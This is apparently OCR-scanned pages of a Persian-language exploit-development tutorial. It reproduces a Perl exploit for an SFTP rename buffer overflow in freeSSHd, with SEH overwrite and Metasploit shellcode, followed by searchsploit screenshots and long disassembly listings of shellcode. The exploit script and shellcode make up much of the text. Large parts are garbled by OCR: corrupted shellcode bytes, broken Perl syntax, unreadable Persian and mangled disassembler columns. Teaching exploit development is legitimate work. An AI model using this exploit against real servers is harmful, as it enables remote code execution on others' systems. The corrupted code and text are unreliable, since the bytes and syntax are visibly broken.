The code exploits a vulnerability in the SFTP Rename
operation. The vulnerability was patched in 1.2.2

00416F98 50 PUSH EAX

00416F99 8D85 BS8FEFFFF LEA EAX,DWORD PTR SS: [EBP-148]
00416F9F 50 PUSH EAX

00416FA0 E8 45B50400 CALL <JMP.&MSVCRT.strcpy>

Written and discovered by:
rOut3r (writ3r [at] gmail.com / www.bmgsec.com.au)

use Net::SSH2;
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my $user = "root";
my $pass = "yahh";

my $ip = "127.0.0.1";

my $port = 22;

my $ssh2 = Net::SSH2->new() ;

print "[+] Connecting...\n";

$ssh2->connect ($ip, $port) || die "[-] Unable to connect!\n";
$ssh2->auth password($user, $pass) || "[-] Incorrect credentials\n";

print "[+] Sending payload\n";

$nop = "\x90";
$padding = 'A' x 105;

my $SEH = "\x21\x11\x40\x00"; # pop, pop, ret - 0x00401121 (Universal -
freeSSHdServer.exe)

my $nextSEH = "\xEB\xF0\x90\x90"; # Jmp short 240, nop, nop

$mShellcode = "\xE9\xF2\xFE\xFF\xFE";

# win32 exec - EXITFUNC=process CMD=calc Size=160 Encoder=PexFnstenvSub -

metasploit.com

my $shellcode =

"\ x29\xc9\x83\xe9\xde\xd9\ xee\xdI\x74\x24 \xf4\x5b\x81\x73\x13\x02".
"\x28\x29\x10\x83\xeb\xfc\xe2\xf4\xfe\xc0\x6d\x10\x02\x28\xa2\x55".
"\x3e\xa3\x55\x15\x7a\x29\xc6\x9b\x4d\x30\xa2\x4f\x22\x29\xc2\x59".
"\x89\xlc\xa2\x1l\xec\x19\xe9\x89\xae\xac\xe9\x64\x05\xe9\xe3\x1d".
"\x03\xea\xc2\xed\x39\x7c\x0d\x14\x77\xcd\xa2\x4f\x26\x29\xc2\x76".
"\ x89\x24\x62\x9\x5d\x34\x28\xfb\x89\x34\xa2\x11\xe9\xal\x75\x34".
"\x06\xeb\x18\xd0\x66\xa3\x69\x20\x87\xe8\x51\x1c\x89\x68\x25\x9b".
"\x72\x34\x84\x9\x6a\x20\xc2\x19\x89\xa8\x99\x10\x02\x28\xa2\x78".
"\x3e\x77\x18\xe6\x62\x7e\xal0\xe8\x81\xe8\x52\x40\x6a\x56\xf1\xf2".
"\x71\x40\xbl\xee\x88\x26\x7e\xef\xe5\x4b\x48\x7c\x61\x28\x29\x10";

my $payload = $nop x 6 . $shellcode . $padding . $mShellcode . $nop x 9
$nextSEH . $SEH;

my $sftp = $ssh2->sftp();
$sftp->rename ($payload, 'B');

print "[+] Sent";
$ssh2->disconnect;

# milwOrm.com [2009-03-27]

ol es S esliml JI Jole s Sl dlan ool (1 0d)ipS (oo (b JSE ol w1y 3 S e skt ot
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Applications Places ﬂz Wed Jun 25, 6:06 AM
Accessories ? oot@Era: /usr/share/exploitdb
%l:] Electronics ? ‘minal Help

P Graphics b

@8 Hamradio >
pu \ Top 10 Security Tools
ﬁ;‘ Internet b

ELEI Office 3 rh Vulnerability Analysis
e Programming 3 i{} Web Applications
@j Sound & Video » f Password Attacks
System Tools > B Wireless Attacks
@ Universal Access p Exploitation Tools >

B9 Other b (:: Sniffing/Spoofing L& Cisco Attacks

"
initrd.img E Maintai \ searchsploit Exploit Database

Reverse Engineering & Exploit Development Tools b
'::f- Stress Testing Lk Metasploit >
'-;‘: Hardware Hacking Lk Network Exploitation

1“;: Forensics Lk social Engineering Toolkit

El Reporting Tools b

E}U'J?J' System Services

>" selected (containing 51 items)

root@Era: fusr/share/.. & Llinux [13601. txt)

(oS o |l R3S @ 1y 03 b g ST 1

root@Era: fusrf/sharefexploitdbfplatforms/windows/remote

File Edit View 5earch Terminal Help
:/usr/share/exploitdb/platforms/windows/remote#

:;ﬁuﬁnbuiiw&suq-jﬁ;?&yajy):«f
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root@Era: fusr/share/exploitdb/platforms/windows/remote

File Edit View Search Terminal Help

ows/remote#

I.l.w)LsaLJJ.'SJ)"MAQcm‘ﬁ‘g}.ﬁjf&w‘j‘cbu&\}du‘b‘C,a‘}}db-

st oalie |y b3 ol ol Bl a5 2o wStack Pointer ;Base Pointer ,slis asili> o5

(UNKNOWMN) [

& S s Sl o5 (o oS g ) s e polie ol o) o8 o 5 e 05a3T L il ST
‘e S command shell }5 <

35 g ey alez 5 GL 3 e 4dST 4 WIS (o 3 oy S sheeST ) S8 4 2l Jb

S G L 5 Jos g5 8 4 plBl 5 axils g s

Wwgy 95 30,5 Jouw!l 50 VL)

o s (x93 5 ol disassembler G a4 o3 U8 alie 1) 0T 015 oo atw gy &S i &S )5 (ol
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31
b0
68
£9
04
1lc

db
£8
£5
b0
3c
cd

£7
68
e?2
ed
1lc
80

; ndisasm
00000000
00000002
00000004
00000009
0000000E
00000013
00000018
0000001D
00000022
00000027
0000002C
0000002F
00000031
00000033
00000035
00000037
00000039
0000003B
0000003D
0000003F
00000041

00000000
00000002

; ebx =0
; eax e

00000004
00000009
0000000E
00000013
00000018
0000001D
00000022
00000027

e3
b0
b0
bo
75
b0

68
fb
f6
90
£7
01

ff
fc
68
90
89
cd

f4
ff
e?
90
el
80

£5
68
£5
90
31

e2
fc
fe
31
cO

-b 32 shellcode

31DB

F7E3
68FFF4F5E2
68FBF5BOFS
68BOFBECEF
68FCF5E2FD
68F5E2B0OF6
68E2F5FEFT
68C6FI9B0OE4
B990909090
310C04
0404

3C1C

T5F7

89E1

31CO

B00O4

B21C

CD80

BOO1

CD80

31DB
F7E3

ax * ebx =

68FFF4F5E2
68FBEF5B0OF8
68BOFBECFF
68FCESEZ2F5
68F5E2B0OF6
68E2F5FEF7
68C6FI9B0OE4
B990909090

68
£5
£7
Oc
b0

fb
e2
68
04
04

£5
£5
cb
04
b2

xor ebx,ebx
mul ebx

push dword
push dword
push dword
push dword
push dword
push dword
push dword
mov ecx,0x9
xor
add
cmp
jnz
mov
xor
mov
mov
int
mov
int

al,0x4
al,Oxlc
0x2c
ecx,esp
eax,eax
al,0Ox4
dl,0xlc
0x80
al,Ox1
0x80

Xor
mul

ebx ,ebx
ebx

dword
dword
dword
dword
dword
push dword
push dword
mov ecx,0x9

push
push
push
push
push

; push some data to the stack

; ecx =0

0000002C
0000002F
00000031

x90909090

310C04
0404
3C1C

Oxe2f5f4dff
0xf8b0f5fb
Oxfffcfbb0
Oxfbe2f5fc
Oxfob0e2f5
Oxf7fefbe2
Oxedb0£f9c6
0909090

[espt+eax] ,ecx

Oxe2f5f4ff
0xf8b0f5fb
OxfffcfbbO
Oxfbe2f5fc
Oxfob0e2f5
Oxf7fefb5e2
Oxedb0£f9c6
0909090

xor [esp+eax] , ecx

add al,0x4
cmp al,0Oxlc

Al

:05 5 disassembler ; lix
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// Xor the data pushed to

; while (al != 28) {

; stack[al] "= ecx
; al += 4;

;o}

00000035 89E1
00000037 31cCO
00000039 BOO4
0000003R B21C
0000003D CD80

’

; sys write(fd: ebx = 0, *chars:
0000003F BOO1 mov
00000041 CD8O0 int

’

jnz

the

mov
Xor
mov
mov
int

// Print stack data to stdout

sys_exit(l);

0x2c

stack with 0x90909090

ecx,esp
eax,eax
al,0x4
dl,Oxlc
0x80

ecx = stack, count: dl = 28);

al,Ox1
0x80

oslizel Hackman Suite Pro v9.20 51 e 5545 55 ol a2 S 05,5 disassembler ! ,

0S5
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File Edit Disassembler Options Help

Rl=R-Yraryl

Address | Hex | Command | Flags

00000000 : POP
00000001 7832 [0x35]

00000003 39507863 [eax+edi2+0x53]
00000007 39507838 [eax+edi=2+0x38]
00000008 33507885 ebx, [eax+edi=2+0xt
0000000F 39507864 [eax+edi=2+0x64] &
00000013 &5

00000014 5C esp 388
00000015 7864 [0x78] 8086
00000017 395C7865 [eax+edi*2+0x65],¢ 386
00000016 65

0000001C 5C esp 386
00000010 7864 [0x83] 8086
0000001F 39507837 [eax+edi*2+0x37],e 386
00000023 345C al, 05

00000025 7832 [0x59] 8086
00000027 345C al,0x5e

00000029 7866 [0x91] 8086
00000028 345C al,0x5e0

00000020 7835 [0xs4] 8085
0000002F 62507838 ebx, [eax+edi®2+0x. 385
00000033 31507837 [eax+edi®2+0x37],c 386
00000037 33507831 ebx, [eax+edi®2+0x. 386
00000038 33507830 ebx, [eax+edi®2+0x. 386
0000003F 320D0A5C7832 d, [0%32735C04] 8085
00000045 385C7832 [eax+edi*2+0x32] b 5086
00000043 39507831 [eax+edi*2+0x31],e 386
00000040 305C7338 [eax+edi*2+0x38] £ 8086

fo
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00000000 3C POP Esp 386
00000001 Ja32 15 [0x35] 8086
00000003 395C7863 CMP [eax+edi®240x63],e 386
Q0000007 395CT7338 CMP [eax+edi*240x38],e 386
Q0000006 335CT7865 KOR eby, [eax+edi®2+0x¢ 386
Q000000F J95C 78604 CMP [eax+edi*240x64] e 336
00000013 63 G5 g0gn
Q0000014 5C POP E50 336
00000015 73864 15 [0x78] a086
Q0000017 395C7T865 CMP [eax+edi®240x65],e 386
00000016 65 G5! g0ge
Q000001C 5C POP esp 386
00000010 7864 15 [0x83] 8086
Q00000 1F J95CT83T7 CMP [eax+edi*240x37],c 336
00000023 345C XOR al,0x5C g0gEn
00000025 Ja3z 15 [0x54] a086
00000027 345C XOR al,0x5C g0ge
00000029 7366 15 [0x91] 8086
00000026 345C KOR al, 0x5C a0g6
00000020 7835 15 [0x54] 8086
Q0anoozF 025CT7338 BOUMD eby, [eax4+edi®240x. 336
00000033 315CT837 XOR [eax+edi®24+0x37],e 386
00000037 335CT831 XOR eby, [eax+edi®2+0x. 386
00000036 335CT830 XOR eby, [eax+edi®2+0x. 386
Q0o0oa3F 320D0A5CTE32 XOR o, [0x32735C0A] g0ge
00000045 385CT832 CMP [eax+edi*240x32],k 8085
Q0000049 395C7831 CMP [eax+edi*240x31] e 386
Q0000040 305CT7838 KOR [eax+edi®2+40x33],k 8085

\(2
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00000051
00000055
000000359
00000050
00000051
00000063
000000a5
00000066
00000067
Q00000ss
00000060
000000sE
0000006F
00000071
00000075
Q0000a7e
Q0000070
00000031
00000036
00000039
0000003E
Q000003F
Q0000054
00000035
00000037
00000095
000000599
000000sE
Q00000sF
000000AD
000000A1

335C7865
025C7E860
635CT865
325C7366
345C
7866

65

5C

7863
305C7336
64

5C

fa31
305C7330
325C7832
385C7a61
325C7835
350D0ASCTS
33655C
fa61
335C7835
355C783135
5C

7837

61

5C

fa32
395C7863
36

5C

7839

A’

XOR
BOLUMND
ARPL
XOR
XOR
15
G5!
POP
15
XOR.
Fa:
POP
15
XOR
XOR
CMP
XOR.
XOR
XOR
15
XOR
XOR
POP
15
POPAD
POP
15
CMP
<lnknown =
POP
15

eb, [eax+edi*2 +0x¢
eb, [eax+edi*2+0x¢
[eax+edi®2+0x65],b
bl, [eax +edi*2 +0x66
al, 0x5C

[0%CE]

esp
[0%CC]
[eax+edi®2+0x36],k

esp
[0xAZ]
[eax+edi®2+0x30],b
bl, [eax +edi*2+0x32
[eax+edi®2+0x51],k
bl, [eax +edi*2+0x35
eax, 0x735C0A0D
esp, [ebp+0x5C]
[0xEC]

eb, [eax +edi®2+0x!
eax,0x3531785C
esp

[0xCE]

esp
[0xCO]
[eax+edi®2+0x63] €
?

esp

[0xDC]

3586
386
286 PRIV
g0go
g0go
808n
z0go
3586
8086
g0go
g0go
3586
808n
z0go
z0ga
3085
g0go
356
356
a08n
356
3586
3586
a0an
356
356
a08n
356

3586
8086
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000000A3
000000AT
000000AS
000000AS
Q00000AE
Q00000AF
00000063
00000064
00000085
Q00000BY
000000BE
Q00000BF
000000C3
00000oCs
Q000ooCDh
Q0000001
00000005
Q0000009
Q0000aDD
Q00000EL
Q00000ES
Q00000ES
Q0000OEA
000000EE
Q00000ED
000000F1

623C7534
64

5C

833
305C7861
325CT834
6o

aC

fa32
325C7832
395CT863
325C7835
390D0ASCTE38
395CT7831
632C7861
325CT831
315CT865
635C7831
395CTE65
395CT833
395CT7861
65

5C

3ol
635C7865
335CTE30

BOUND
F5:
POP
15
XOR
XOR.
<lnknown
POP
15
XOR
CMP
¥OR
CMP
CMP
ARPL
XOR
XOR
ARPL
CMP
CMP
CMP
E5:
PP
15
ARPL
CMP

A

eb, [eax +edi®2+0x!

e3p
[0xDE]
[eax+edi*2+0x6 1] b
bl, [eax +edi*2+0x34
?

£sp

[0xES]

bl, [eax +edi*2+0x32
[eax+edi*2+0x63] €
bl, [eax +edi*2+0x35
[0x33785C0A] ecx
[eax+edi®2+0x31] &
[eax+edi®2+0xa1] b
bl, [eax+edi*2+0x31
[eax+edi*2+0x65] &
[eax+edi®2+0x31] b
[eax+edi*2+0x65] &
[eax+edi*2+0x33] &
[eax+edi®2+0x61] &

esp
[0x14E]

[eax+edi*2+0x65] b
[eax+edi*2+0x36] &

356
g0ge
386
8086
g0g6
aoge

?

356
a086
g0ge
356
g0ge
386

3586

280 PRIV
goge
356

286 PRIV
356

356

386
g0g6
3586
a0ae6
286 PRIV
356
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000000FF 7830 15 [Dnc124] 8085
000aooFs 355C786539 XOR eax, 0x3965785C 3386
000a00FE 5C POP esp 386
000000FF 7865 15 [Dx1566] 8086
0oooo101 335CT831 XOR eby, [eax+edi®2+0x. 336
00000105 o4 FS: 2086
00000106 ODOASCTE30 OR. eax, 0x30735C0A 386
000a010s 335C7865 XOR. ebx, [eax+edi*2+0xt 356
000a010F 6l POPAD 3386
00oa0110 5C POP esp 3386
00000111 7863 15 [x178] 8085
0oooo113 325CT7865 XOR bl, [eax+edi®2+0x65 2086
ooooo11y 345C XOR al 0x5C 2086
00000119 7833 15 [Dx14E] 8085
Q0oo011E J95CTB3T CMP [eax+edi®2+0x37],e 336
00Qao11F 635C7830 ARPL [eax+edi®2+0x30],b 286 PRIV
ooooo123 o4 F3: a0ao
ooooo124 5C POP esp 3386
00000125 7831 15 [0 158] 8085
ooooo12y 345C XOR al, 0w 5C 086
00000129 1837 15 [0x153] 8086
Qoooo12e 37 AAA 2086
0oooo12c 5C POP esp 385
00000120 7863 15 [0x192] 8085
00Qao12F o4 Fa: a0ao
000a0130 5C POP esp 3386
00000131 7851 15 [Dc194] 8085
000a013s 325CT834 XOR bl, [eax+edi*2+0x34 Z086
00ooo13y o6 <Unknown = ? ?
0oooo13s 5C POP esp 386
00000134 7832 15 [Dx160] 8085
00000138 36 <Zlnknown = ? ?
000a013c 5C POP esp 386
NO0N013n TR 1= e 1711 RNBA

£
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Q000013F
00000143
00000147
Q0000145
Q0000140
Q0000151
00000153
00000155
Q0000159
00000150
Q000015E
00000 157
Q0000151
00000163
00000155
00000189
00000160
Qoo0o171
00000173
Q0000175
Q0000179
00000170
Q0000131
00000135
00000134
Q000015F
Q0000190
000001591
00000193
00000197
Q0000196
Q0o0o019F
00000140
000001A1

395CT363
325CT837
36
0DOASCTYE38
395CTe32
345C
fa36
325CT839
625C7535
a4

5C

7833
345C
fa3z
355CT860
625C7538
395CT333
345C
7861
325CTa31
315CT865
395CTa61
315CT837
355C783334
ODOASCY330
36

ac

f865
625C7531
385CTe64
305CT7335
30

5C

7861

CMP
XOR
<nknown =
OR.
CMP
XOR
15
XOR
BOUMD
F5:
POP
15
XOR
15
CMP
BOUMD
CMP
XOR
15
XOR.
XOR
CMP
XOR
XOR
OR
<nknown =
POP
15
BOUMD
CMP
XOR
<lnknown =
POP
15

|eax+edi2+Hlx63] €
bl, [eax +edi®=2+0x37
?

eax,0x38785C0A
[eax+edi*2+0x32] €
al, 0x5C

[Dx186]

bl, [eax +edi=2+0x39
ebx, [eax+edi®2+0x.

esp
[Dx154]

al, 0x5C

[0x157]

[eax +edi*2 +0x6a] b
ebx, [eax+edi®2+0x.
[eax+edi*2+0x33] &
al, 0x5C

[0x1D8]

bl, [eax+edi®2+0x31
[eax+edi*2 +0x65] &
[eax+edi*2+0xG1] e
[eax+edi*2+0x37] e
eax,0x3433785C
eax,0x30785C0A

?

esp

[0x1F8]

ebx, [eax+edi®2+0x.
[eax +edi*2 +0x64] b
[eax+edi*2+0x38] b
7

esp

[Dx204]

386
g08a
?
386
356
g0ga
8086
g0ga
386
g08a
386
8035
g0ga
8086
g0ga
386
386
g08a
8086
a0ga
356
356
356
386
386

356
8086
356
g0ga
a08a

386
8086
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00000143 335C7830 KOR, ebyx, [eax+edi®2+0x] 336
Q00001A7F 395CT832 CMP [eax+edi®2+0x32],c 386
000001AB 305C7a38 KOR [eax+edi®2+0x33],t 8086
0000014AF 37 AAA a05a
Q0000180 5C POP esp 386
00000181 7865 15 [0x218] 8086
000001E3 385C7335 CMP [eax+edi®240x35],k 8086
Q0000187 315C7831 HOR [eax+edi®2+0x31],e 386
Q0000166 035CT338 ARPL [eax+edi*240x38],k 235 PRIV
Q00001BF 395C7336 CMP [eax+edi®2+0x30],c 386
000001C3 365CT832 CMP [eax+edi®24+0x32],k 8086
Q00001CF 355C783962 XOR eax,0x0239735C 356
000001CC ODOASCYE3T OR eax,0x37755C04 386
00000101 325C7333 KOR bl, [eax+edi*2+0x33 8035
Q0000105 345C HOR al,0x5C g05a6
00000107F 7838 15 [0x211] 8086
00000109 345C XOR al,0x5C g05a
00000106 7839 15 [0x218] 8086
Q0000100 025CT830 BOUMD ebx, [eax+edi®2+0x. 385
Q00001EL 61 POPAD 386
Qooao01E2 5C POP esp 386
000001ES fa32 15 [0x217] 8086
Q00001ES 305C7863 HOR [eax+edi®2+0x53],k 8086
Q00001ES 325C7a31 KOR, bl,[eax+edi®2+0x31 2036
Q00Q01ED 395C7a38 CMP [eax+edi®24+0x38],c 386
Q00001F1 395C7a61 CMP [eax+edi®24+0x01],e 386
000001Fs 385CT7339 CMP [eax+edi24+0x39],k 5086
Q00001FS 395C7331 CMP [eax+edi®24+0x31],e 386
Q00001FD 305C7330 KOR [eax+edi2+0x30],k 8085
00000201 325C7832 KOR bl, [eax +edi*2+0x32 8085
00000205 385C7a61 CMP [eax+edi*2+0x61],k 5086
Q0000209 325CT837 HOR bl, [eax +edi®2+0x37 8085
Q0000200 380D0ASCTE33 CMP [0x33785C0A],d aoan
Q0000213 65 G5 g0gn
00000214 5C POP esp 356
00000215 fa3v 15 [0x24E] a0a6
00000217 37 AAA g0gEn
Qoooo21s 5C POP esp 356
00000219 fa3l 15 [0x24C] 8086
Qo00o021B 385CT7865 CMP [eax+edi*24+0x65],k 5086
Qo00o21F 30 <Unknown = ? ?
00000220 5C POP esp 386
00000221 fa36 15 [0x259] 8086
00000223 325CT837 HOR bl, [eax +edi®2+0x37 8085
00000227 65 G5 a0E6
Qoooozzs ac POP esp 3586
00000223 fagl 15 [0x28C] a0a6
Qo0oo22E 305CTa65 XOR [eax+edi2+0x65],k 8085
QoooozzF 355CT335 CMP [eax+edi2+0x38],b 5085
00000233 315C7365 XOR [eax+edi*2+0x65],c 386
00000237 385CT335 CMP [eax+edi2+0x35],b 8085
NNNnn? 3R AIECTRIA ¥R hl Teav 4adi®? 40w 3d RORA
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00000238 325C7834 bl, [eax+edi*2+0x34
00o0023F 305C7336 XOR [eax+edi®2+0x36],b 8036
00a00243 ol POPAD 386
00a00244 5C POP esp 386
00000245 7835 15 [0w27C) 8086
0oooo247 36 <Unknown = ? ?
00000243 5C POP esp 386
000002495 7866 15 [ox2B1] 8085
00o0a024s 315C7366 XOR [eax+edi®2+0x66] e 386
00a0024r 320D0ASCTE3T XOR d, [0x37735C0A] 2086
00000255 315C7834 XOR [eax+edi®2+0x34] e 386
00a00259 305C7862 XOR [eax+edi®2+0x62],E 8086
00a00250D 315C7865 ¥OR [eax+edi®2+0x65],e 386
00000261 =] GE5: 3086
00000262 5C POP esp 386
00000263 7838 15 [ox290] 8085
00000265 38507832 CMP [eax+edi®2+0x32],k 8036
00o002es 36 <Unknown = ? ?
00000264 5C POP esp 386
00000268 7837 15 [Dx2ad] 8085
000002sD =] G5 23086
00000 2aE 5C POP esp 386
00000 26F 7865 15 [Dx2Da] 8085
00000271 =11 <Unknown = ? ?
00aQoz7y2 5C POP esp 386
00000273 7865 15 [DxZ0A] 8085
00000273 [Dnc200A]
00000275 355C783462 XOR eax, 0x6234785C 386
00000274 5C POP =) 386
00000278 7834 15 [0x281] 8086
00000270 385C7837 CMP [eax+edi*2+0x37],k 8086
0oao02e1 635C7336 ARPL [eax+edi*2+0x36],& 286 PRIV
00000285 315C7832 XOR. [eax+edi®2+0x32] e 386
0oaoozas 38507832 CMP [eax+edi*2+0x32],k 8086
00200280 395C7831 CMP [eax+edi®2+0x31] ¢ 386
00000291 S00D0ADD XOR. [Dx0000000A] ,d 8086

oy
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